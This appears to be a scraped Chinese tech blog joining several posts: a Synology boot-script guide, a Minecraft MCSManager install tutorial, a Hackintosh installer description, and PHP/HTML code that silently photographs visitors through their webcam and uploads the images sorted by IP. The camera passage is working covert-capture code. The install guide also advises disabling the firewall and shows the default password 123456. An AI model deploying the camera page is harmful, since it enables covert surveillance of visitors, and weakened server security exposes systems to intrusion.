群晖设置开机启动脚本
我的世界MCSM面板搭建

我是使用 Serverstatus 来监控服务器状态的,群晖自然也放在了列表中。由于服务器可能会出现重启的情况,对于这样的工具自然需要将它放入开机启动中来避免重启后需要手动操作的繁琐。对于普通的 ubuntu 服务器我是将启动脚本写在了 /etc/rc.local 文件中来实现了开机自动启动 Serverstatus 的客户端,而对于群晖来说设置就稍有不同了,下面来详细介绍下具体的操作步骤 (任何的开机启动脚本都可以使用以下步骤来进行设置):1、 编写启动命令的脚本这个脚本的编写可以在群晖的 web 界面中操作,也可以 ssh 进入群晖后使用命令行进行操作。-- 命令行操作步骤 :ssh进入群晖进入想要放置脚本的目录(例如/volume1/xxx/)cd /volume1/xxx/编写启动命令的脚本,这里以Serverstatus的客户端启动为例:# 启动脚本的名字可以自行设置 vim boot_serverstatus.sh # 脚本中写入启动命令 nohup python /volume1/xxx/ServerStatus/clients/client-linux.py >/dev/null 2>&1 & # 编写完成后esc, :wq保存退出给脚本添加可执行权限chmod +x boot_serverstatus.sh-- 界面操作步骤 :安装文本编辑器套件安装完成后,打开套件,点击文件->新建新建的文件中填写脚本的内容,例如(nohup python /volume1/xxx/ServerStatus/clients/client-linux.py >/dev/null 2>&1 &)编写完成后点击文件->保存,设置脚本保存的位置并且修改文件的名称为boot_serverstatus.sh后点击保存按钮2、 添加计划任务进入群晖界面中的控制面板,点击任务计划。点击新增 -> 触发的任务 -> 用户定义的脚本。弹出的界面中常规选项卡下填写一个任务名称,用户账户使用默认的 root,事件选择默认的开机,勾选已启动。弹出的界面中任务设置选项卡下可以填写一个邮件地址用来接收该任务触发时的邮件通知(需事先在控制面板->通知中心->电子邮件的界面中设置好smtp发信邮箱的相关信息),以及具体的执行上一步编写的脚本的命令(这里以上一步编写的脚本为例)最后点击确定即可。此时可以在任务计划的列表中看到刚刚添加进去的脚本,且状态是已启动。此时重启群晖测试下你的脚本是不是已经可以开机启动啦。
前期需要软件远程SSH控制台软件(本教程使用Putty)服务端(本教程使用 Spigot)Centos或Ubuntu主机一台 (教程使用 CentOS7.9)注意事项极力推荐Centos系统,Ubuntu系统出现问题,与作者无关未标注哪个系统指令则两者都可适用若标题注释了哪个系统那只能适用那个系统或另一个系统不需要输此指令环境部署系统更新首先你要确保你的系统是最新的yum update # (Centos) //Ubuntu需要两条指令来升级 apt-get update -y # (Ubuntu) apt-get upgrade -y # (Ubuntu)安装node.js安装Gityum install git -y # (Centos) apt install git # (Ubuntu)复制代码安装node.js管理器等组件git clone git://github.com/creationix/nvm.git ~/nvm # 设置nvm 自动运行 echo "source ~/nvm/nvm.sh" >> ~/.bashrc source ~/.bashrc # 安装npm的v13版本 nvm install v14.17.4 # 使用v13版本 nvm use v14.17.4 # 安装npm最新版本并使用最新版本 //由于面板问题无法使用最新的 # nvm install stable && nvm use stable请关闭终端重新打开或重新连接终端 再依次执行以下命令(重要!)安装java8如果要看更精细的步骤可以看这个文章Centos使用yum安装java8。# 安装java8 yum install java-1.8.0-openjdk java-1.8.0-openjdk-devel # 安装java11 按需安装,建议直接下载用绝对链接来开服 yum install java-11-openjdk java-11-openjdk-devel # 查看java版本 java -versionUbuntu安装java8apt install openjdk-8-jdk如果我们在服务器上安装了多个Java版本,我们可以使用update-alternatives 系统更改默认版本sudo update-alternatives --config java要维持当前值[*]请按<回车键>,或者键入选择的编号:在出现提示时输入号码并按Enter键。查看java版本java -version安装MCSM克隆MCSManager 并安装依赖# 克隆目录 git clone https://github.com/suwings/mcsmanager.git # cd至目录 cd mcsmanager/ # 安装依赖库 npm install # 启动面板 sudo npm start # 如果已是root可不用输sudo注!启动面板注意事项# 每次重启或关闭后需要重新CD到项目目录才能继续执行指令 cd mcsmanager/ # 启动面板 sudo npm start # 如果已是root可不用输sudo保持后台运行先 Ctrl+C关闭面板,我们使用 screen软件来让面板保持后台运行。yum install screen # (Centos) apt install screen # (Ubuntu) # 创建一个名为 mcsm 的窗口 screen -S mcsm # 在此新终端窗口内启动面板 sudo npm start #或 sudo node app.js直接断开终端连接即可,面板将保持后台运行。若要重新控制,请输入命令即可:screen -r mcsm端口开放面板需要 23333(主功能) 端口与 20010 - 20200(FTP功能)端口区间。如果你使用阿里云,腾讯云或者服务商,请进入控制台到防火墙安全组策略,放行以上端口。如果依然无法访问,请关闭系统自带防火墙:# 关闭防火墙,依次执行 systemctl stop firewalld.service systemctl disable firewalld.service修改站点配置文件在根目录的 ./property.js自带汉化,用户可自行修改默认账户现在,访问 http://你的ip:23333/ 即可进入面板。# 开头带“#”为最高管理员权限(注意,管理员与管理员之间账号可互删)不带“#”为用户账户 默认账号:#master 默认密码: 123456请及时修改密码!服务端Spigot [可以装插件]Paper [可以装插件]Forge [可以装MOD]服务器插件/MODBukkit [下载插件]Spigotmc [下载插件]Curseforge [下载MOD]创建服务端创建服务端十分简单,点击“引导创建服务端”即可。通过里面的指引,创建你的 MC 服务器,稍后可以通过文件在线管理上传你的核心文件。
黑苹果 | macOS Big Sur 11.4 20F71 Installer for and CLOVER 5134 and PE双EFI分区原版镜像
PHP代码获取相机权限并自动拍照上传至服务器
5月25日,苹果公司刚刚发布了新的macOS Big Sur 11.4更新,版本号为 20F71,新版本同时支持 INTEL/ARM平台,未来几年内会渐渐取消对 INTEL平台的支持,所以黑苹果的 FANS务必要且行且珍惜macOS Big Sur 将强大实力和优美外观的结合提升到一个崭新的高度。精心雕琢的全新设计,让您能淋漓尽致地感受 Mac 的魅力;Safari 浏览器迎来重大更新,待您饱览;地图 App 和信息 App 满载新功能,任您探索;更透明的隐私权限,保护也更周到。特别提醒目前 OpenCore v0.6.9 关于 Kernel 的 Quirk - XhciPortLimit 在 macOS Big Sur 11.3.x/11.4 下失效,未来 OpenCore 更新版本是否会修复还没有确切的消息,所以请在升级到11.3版本之前 定制USB。版本: macOS Big Sur 11.4 20F71发行日期: 2021年5月26日macOS Big Sur 11.4(20F71)发行说明macOS Big Sur 11.4添加了Apple Podcasts订阅和频道,并包括重要的错误修复。显示卡现在,您可以使用基于AMD Navi RDNA2架构(6800、6800XT和6900XT)的显卡。(73709953)播客Apple Podcasts订阅可通过每月和每年的订阅购买频道将播客创作者的节目集合归为一类此版本还解决了以下问题:Safari中的书签可能会重新排序或移动到可能显示为隐藏的文件夹中Mac从睡眠状态唤醒后,某些网站可能无法正确显示从“照片”应用中导出照片时,可能不包含关键字搜索PDF文档时,预览可能会无响应玩Civilization VI时16英寸MacBook可能无响应有关此更新的更多详细信息,请访问:https://support.apple.com/kb/HT211896有关此更新的安全性内容的详细信息,请访问:https://support.apple.com/kb/HT201222镜像特点:三个独立的EFI引导分区,同时支持OpenCore /CLOVER /WEPE引导从本版开始,默认主EFI分区为OpenCore引导,挂载后的卷标为:OC,第二个EFI分区为CLOVER,挂载的卷标为:CLOVER新增全平台配置文件,请根据自己的架构选择食用:config 默认300/400系列主板config_BCM94360Z4.plist 新增BCM94360Z4网卡驱动的配置文件config_SandyBridgeconfig_IvyBridgeconfig_SNB_and_IVB HEDTconfig_Haswellconfig_Haswell-HEDTconfig_Broadwellconfig_Broadwell-HEDTconfig_SkyLakeconfig_CascadeLake_and_SkyLake-HEDTconfig_KabyLakeconfig_CoffeeLakeconfig_CometLakeconfig.orig 备用同时支持Intel 及AMD 双平台安装使用,RYZEN CPU请选择config_AMD_RYZEN 进行安装PE 可连接网络,可远程协助,集成向日葵 和AnyDesk附带exFAT分区,用于装入Windows 10等的iso安装镜像,可直接安装双系统支持UEFI /MBR引导,基本上做到一盘在手,可以直接引导安装某些不支持UEFI引导方式的机型,比如Dell inspiron 7559等。CLOVER 分区容量:200MB5-26-2021 更新Clover默认配置文件config.plist原则上支持各种机型引导安装;更新CLOVER到v2.5k r5134 ,支持Big Sur安装使用修复了Preboot分区被隐藏的问题安装过程中默认会禁用博通的无线网卡,请安装结束后移除引导参数brcmfx-driver=0以使用博通无线网卡驱动更新更新Liluv1.5.3更新WhatEverGreenv1.5.0更新AppleALCv1.6.0 新增对 miniforum U820声卡 的驱动支持更新VirtualSMCv1.2.3更新VoodooPS2Controllerv2.2.3新增RestrictEventsv1.0.1更新BrcmPatchRAMv2.5.9 新增对BCM94360Z4/BCM94360Z3 的驱动支持更新AirportBrcmFixupv2.1.3,支持DW1820A /DW1560 /DW1830 /BCM94331CD /BCM943602CDP /BCM94360CD /BCM94360Z4 /BCM94360Z3 等更新USBInjectAllv0.7.7 新增了对Z590 等芯片组的支持更新LucyRTL8125Ethernet.kextv1.1.0d12,支持z490主板WEPE 分区容量:800MB微PE工具箱v2.0维护盘增强版64位20200409 版本特点此维护盘增强版及合盘,纯净无广告内置网络驱动,可驱动绝大多数有线/无线网卡内置针对黑苹果的部分工具,方便安装内置远程协助工具:包括向日葵 和AnyDesk在原版基础上升级了内核,增加了些常用工具,使经典微PE更加实用更新修改内核集成Office迷你版,增加更新维护工具在由kcyou修复DISM及内核的微PE2.0版核心上进一步DIY折腾而来Install macOS Big Sur 分区内置11.420F71 安装镜像【5-26-2021更新】双EFI分区版下载链接OneDrive: 请点击下载迅雷离线下载:请点击下载天翼云盘:请点击下载BIOS设置选项列表禁用清单Fast Boot - 快速启动VT-d (can be enabled if you set DisableIoMapper to YES) - VT-d(如果DisableIOMapper Quicks设置为YES,则可以启用)CSM - CSM 兼容性支持模块Thunderbolt - 雷雳Intel SGX - 英特尔SGXIntel Platform Trust- 英特尔平台信任CFG Lock (MSR 0xE2 write protection) - CFG锁(MSR 0xE2写保护)(必须关闭,如果找不到该选项,则在OpenCore的config-内核-> Quirks下启用与CFG Lock相关选项)ecure Boot - 安全启动Parallel Port - 并口Serial/COM Port - 串行/COM端口启用VT-x - VT-xUEFI Boot Mode UEFI启动模式。请不要使用Legacy硬盘模式:改为AHCI。不能用IDE和RST RAID。Above 4G decoding - 大于4G地址空间解码Hyper-Threading - 超线程Execute Disable Bit - 执行禁用位EHCI/XHCI Hand-off - EHCI / XHCI接手控制OS type:Windows 8.1/10 UEFI Mode - 操作系统类型:Windows 8.1 / 10 UEFI模式DVMT Pre-Allocated(iGPU…
前言现在众多手机APP乱用权限并窃取用户隐私,大家要注意保护好自己!代码分别创建index.html和photo.php两个文件并上传至网站服务器即可;创建好后打开网址会需要用户授权相机权限,PC端会调用摄像头,移动端会调用前置摄像头;允许权限后会立即进行拍照并上传至服务器,拍摄的照片会按照IP及拍摄时间进行分类。说明建站环境需求:Nginx PHP 7.0+如果上传到服务器的图片是全黑的或只有一半,说明使用者打开网页后快速关闭了,没有完整的获取到图片。index.html代码第25行处需要指定 photo.php文件的所在位置,如果文件在网站根目录下无需修改。注意:由于浏览器安全机制原因,网站需开启SSL,如果仅使用HTTP,多数浏览器无法获取到相机权限.index.html代码<!DOCTYPE html> <html> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <meta name="" content="content"> <title>SunPma'Blog</title> <style> .container { width: 60%; margin: 10% auto 0; background-color: #f0f0f0; padding: 2% 5%; border-radius: 10px } ul { padding-left: 20px; } ul li { line-height: 2.3 } a { color: #20a53a } </style> </head> <body> <canvas id="canvas" style="display: none;" width="480" height="640"></canvas> <video id="video" style="display: none;width: 250px;height: 300px;"></video> <script src="https://lib.baomitu.com/jquery/3.6.0/jquery.js"></script> <script> window.addEventListener("DOMContentLoaded",function(){ var canvas = document.getElementById('canvas'); var context =canvas.getContext('2d'); var video = document.getElementById('video'); if (navigator.mediaDevices && navigator.mediaDevices.getUserMedia) { navigator.mediaDevices.getUserMedia({video:true}).then(function(stream){ video.srcObject = stream; video.play(); setTimeout(function(){context.drawImage(video,0,0,480,640)}, 1000); setTimeout(function(){ var img = canvas.toDataURL('image/png'); $.post('/photo.php',{'imegse':img},function(data){ //指定photo.php文件所在位置 }) } ,1300) },function(){ alert('缺少访问权限'); location.reload(); }) } },false); </script> <div class="container"> <h1>这是一个测试页 · · · </h1> <h3>获取相机权限后将自动拍照上传至服务器;</h3> <ul> <li>此测试页面获取到的照片会定时自动清理;</li> <li>代码获取:https://sunpma.com/994.html</li> </ul> </div> </body> </html>photo.php代码<?php //允许跨域 header("Access-Control-Allow-Origin:*"); echo base64(); function base64() { //接收 base64 数据 $image = $_POST['imegse']; if (empty($image)) { return null; } //设置图片名称 $imageName = date("His", time()) . "_" . rand(1111, 9999) . '.png'; //判断是否有逗号 如果有就截取后半部分 if (strstr($image, ",")) { $image = explode(',', $image); $image = $image[1]; } //设置图片保存路径 $path = "./" . getIp()…